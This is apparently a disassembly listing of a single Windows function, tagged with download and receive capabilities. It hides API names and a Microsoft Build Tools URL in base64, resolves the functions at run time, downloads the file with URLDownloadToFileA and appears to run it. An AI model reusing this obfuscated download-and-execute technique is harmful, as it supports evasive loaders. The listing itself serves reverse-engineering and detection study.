Function at 0x140001e90
Capabilities:
Download url
Receive data

Disassembly:
push rbp
push rdi
push r15
lea rbp, [rsp - 0x2a0]
sub rsp, 0x3a0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x290], rax
xor r15d, r15d
mov qword [rbp - 0x18], r15
lea ecx, [r15 + 0x20]
call fcn.1400027c8
movups xmm0, xmmword [str.a2VybmVsMzIuZGxs]
lea rdx, [rbp - 0x20]
mov qword [rbp - 0x20], rax
lea rcx, [rbp + 0x40]
mov qword [rbp - 0x10], 0x10
movups xmmword [rax], xmm0
mov byte [rax + 0x10], r15b
mov qword [rbp - 8], 0x1f
call fcn.1400017a0
cmp qword [rax + 0x18], 0xf
jbe 0x140001efe
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdx, qword [rbp + 0x58]
mov rdi, rax
cmp rdx, 0xf
jbe 0x140001f45
mov rcx, qword [rbp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001f40
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400026a2
call fcn.140002804
mov rdx, qword [rbp - 8]
movdqa xmm0, xmmword [0x1400124c0]
mov byte [rbp + 0x40], r15b
movdqu xmmword [rbp + 0x50], xmm0
cmp rdx, 0xf
jbe 0x140001f91
mov rcx, qword [rbp - 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001f8c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400026a2
call fcn.140002804
xorps xmm0, xmm0
mov qword [rsp + 0x3c0], rbx
movups xmmword [rbp + 0x120], xmm0
movabs rax, 0x3d55475630563252
mov qword [rsp + 0x3c8], rsi
movups xmmword [rbp + 0x140], xmm0
mov qword [rbp + 0x120], rax
movabs rax, 0x3d3d515951425862
movups xmmword [rbp + 0x160], xmm0
mov esi, 3
mov qword [rbp + 0x140], rax
mov r8d, esi
mov qword [rbp + 0x130], 8
lea rdx, [rbp + 0x120]
mov qword [rbp + 0x138], 0xf
lea rcx, [rbp - 0x20]
mov byte [rbp + 0x128], r15b
mov qword [rbp + 0x150], 8
mov qword [rbp + 0x158], 0xf
mov byte [rbp + 0x148], r15b
mov qword [rbp + 0x170], 4
mov qword [rbp + 0x178], 0xf
mov dword [rbp + 0x160], 0x42684764
mov byte [rbp + 0x164], r15b
call fcn.140001b70
cmp qword [rax + 0x18], 0xf
jbe 0x14000205e
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rbp - 8]
mov rbx, rax
cmp rdx, 0xf
jbe 0x1400020a8
mov rcx, qword [rbp - 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400020a3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400026a8
call fcn.140002804
movdqa xmm0, xmmword [0x1400124c0]
lea rdx, [rbp + 0x180]
mov ecx, 0x104
mov byte [rbp - 0x20], r15b
movdqu xmmword [rbp - 0x10], xmm0
call rbx
xorps xmm0, xmm0
mov qword [rbp + 0x70], 8
movabs rax, 0x3d3469626e746d59
mov qword [rbp + 0x78], 0xf
movups xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x60], rax
lea rax, [rbp + 0x180]
movups xmmword [rbp + 0x80], xmm0
mov byte [rbp + 0x68], r15b
mov r8, 0xffffffffffffffff
xorps xmm1, xmm1
mov qword [rbp + 0x90], 4
mov qword [rbp + 0x98], 0xf
mov dword [rbp + 0x80], 0x6c68585a
mov byte [rbp + 0x84], r15b
movups xmmword [rbp - 0x20], xmm0
movdqu xmmword [rbp - 0x10], xmm1
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r15b
jne 0x140002140
lea rdx, [rbp + 0x180]
lea rcx, [rbp - 0x20]
call section..text
mov r8d, 2
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x20]
call fcn.140001b70
movzx edx, byte [rsp + 0x50]
lea r8, [rbp - 0x20]
mov r9, rax
lea rcx, [rbp]
call fcn.140001440
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x1400021bc
mov rcx, qword [rbp - 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400021b7
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400026ae
call fcn.140002804
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x1400021f7
mov rcx, qword [rbp + 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400021f2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400026ae
call fcn.140002804
mov ecx, 0xf0
mov qword [rsp + 0x3d0], r14
mov qword [rbp + 0xa8], r15
call fcn.1400027c8
lea rcx, str.aHR0cHM6Ly9kb3dubG9hZC52aXN1YWxzdHVkaW8ubWljcm9zb2Z0LmNvbS9kb3dubG9hZC9wci8xYWZhMzNmYy1lODAwLTQ3MTQtOWUxOS0zMWI5MjhlYTI1NzIvMWZjNTkyZTY1YjdjNjk3Y2I4MGY5NmFlMmMyZjdhYzllNmIzNjZmZWNkNDJkN2VjYjQ1MWNjOWYwZGU4OTYyNC92c19CdWlsZFRvb2xzLmV4ZQ
mov qword [rbp + 0xa0], rax
movups xmm0, xmmword [rcx]
lea rcx, [rcx + 0x80]
mov qword [rbp + 0xb0], 0xec
lea rdx, [rax + 0x80]
mov qword [rbp + 0xb8], 0xef
movups xmmword [rax], xmm0
mov r8, rax
mov r14d, 1
movups xmm1, xmmword [rcx - 0x70]
lea rbx, [rbp]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rax + 0x60], xmm0
movups xmm0, xmmword [rcx - 0x10]
movups xmmword [rdx - 0x10], xmm0
movups xmm1, xmmword [rcx]
movups xmmword [rdx], xmm1
movups xmm0, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm0
movups xmm1, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm1
movups xmm0, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm0
movups xmm1, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x40], xmm1
movups xmm0, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x50], xmm0
mov rax, qword [rcx + 0x60]
mov qword [rdx + 0x60], rax
mov eax, dword [rcx + 0x68]
lea rcx, [rbp + 0x20]
mov dword [rdx + 0x68], eax
lea rdx, [rbp + 0xa0]
mov byte [r8 + 0xec], r15b
mov r8d, r14d
cmp qword [rbp + 0x18], 0xf
cmova rbx, qword [rbp]
call fcn.140001b70
cmp qword [rax + 0x18], 0xf
jbe 0x1400022f7
mov rax, qword [rax]
xor r9d, r9d
mov qword [rsp + 0x20], r15
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x140002347
mov rcx, qword [rbp + 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002342
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400026b4
call fcn.140002804
xorps xmm0, xmm0
mov dword [rsp + 0x70], 0x68
xor eax, eax
mov qword [rbp + 0xd0], 8
mov dword [rbp - 0x2c], eax
lea rdx, [rbp + 0xc0]
mov qword [rsp + 0x68], rax
lea rcx, [rbp - 0x20]
movups xmmword [rbp + 0xc0], xmm0
movabs rax, 0x3d3d51596c4a3351
mov r8d, esi
mov qword [rbp + 0xc0], rax
movabs rax, 0x3d3d676351564764
movups xmmword [rbp + 0xe0], xmm0
mov qword [rbp + 0xe0], rax
movabs rax, 0x424e33636c4e3262
movups xmmword [rbp + 0x100], xmm0
mov qword [rbp + 0x100], rax
movups xmmword [rsp + 0x74], xmm0
mov qword [rbp + 0xd8], 0xf
movups xmmword [rbp - 0x7c], xmm0
mov byte [rbp + 0xc8], r15b
movups xmmword [rbp - 0x6c], xmm0
mov qword [rbp + 0xf0], 8
movups xmmword [rbp - 0x5c], xmm0
mov qword [rbp + 0xf8], 0xf
movups xmmword [rbp - 0x4c], xmm0
mov byte [rbp + 0xe8], r15b
movups xmmword [rbp - 0x3c], xmm0
mov qword [rbp + 0x110], 8
movups xmmword [rsp + 0x58], xmm0
mov qword [rbp + 0x118], 0xf
mov byte [rbp + 0x108], r15b
call fcn.140001b70
cmp qword [rax + 0x18], 0xf
jbe 0x140002436
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rbp - 8]
mov rbx, rax
cmp rdx, 0xf
jbe 0x140002480
mov rcx, qword [rbp - 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000247b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002696
call fcn.140002804
cmp qword [rbp + 0x18], 0xf
lea rax, [rsp + 0x58]
movdqa xmm0, xmmword [0x1400124c0]
lea rdx, [rbp]
cmova rdx, qword [rbp]
lea rcx, [rbp]
cmova rcx, qword [rbp]
xor r9d, r9d
mov qword [rsp + 0x48], rax
xor r8d, r8d
lea rax, [rsp + 0x70]
mov byte [rbp - 0x20], r15b
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
movdqu xmmword [rbp - 0x10], xmm0
call rbx
mov rdi, rsi
lea rbx, [rbp + 0x120]
nop dword [rax]
nop word [rax + rax]
mov rdx, qword [rbx - 8]
lea rbx, [rbx - 0x20]
dec rdi
cmp rdx, 0xf
jbe 0x140002531
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14000252c
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000269c
mov rcx, r8
call fcn.140002804
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], r15b
test rdi, rdi
jne 0x1400024f0
lea rbx, [rbp + 0xc0]
nop dword [rax]
mov rdx, qword [rbx - 8]
lea rbx, [rbx - 0x20]
dec r14
cmp rdx, 0xf
jbe 0x140002591
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14000258c
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000269c
mov rcx, r8
call fcn.140002804
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], r15b
test r14, r14
jne 0x140002550
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x1400025e0
mov rcx, qword [rbp]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400025db
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000269c
call fcn.140002804
movdqa xmm0, xmmword [0x1400124c0]
lea rcx, [rbp + 0x80]
movdqu xmmword [rbp + 0x10], xmm0
mov byte [rbp], r15b
call fcn.140001df0
lea rcx, [rbp + 0x60]
call fcn.140001df0
lea rbx, [rbp + 0x180]
nop dword [rax]
mov rdx, qword [rbx - 8]
lea rbx, [rbx - 0x20]
dec rsi
cmp rdx, 0xf
jbe 0x14000264d
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140002648
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000269c
mov rcx, r8
call fcn.140002804
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], r15b
test rsi, rsi
jne 0x140002610
mov r14, qword [rsp + 0x3d0]
xor eax, eax
mov rbx, qword [rsp + 0x3c0]
mov rsi, qword [rsp + 0x3c8]
mov rcx, qword [rbp + 0x290]
xor rcx, rsp
call fcn.1400028a0
add rsp, 0x3a0
pop r15
pop rdi
pop rbp
ret
call fcn.1400070dc
int3
call fcn.1400070dc
int3
call fcn.1400070dc
int3
call fcn.1400070dc
int3
call fcn.1400070dc
int3
call fcn.1400070dc
int3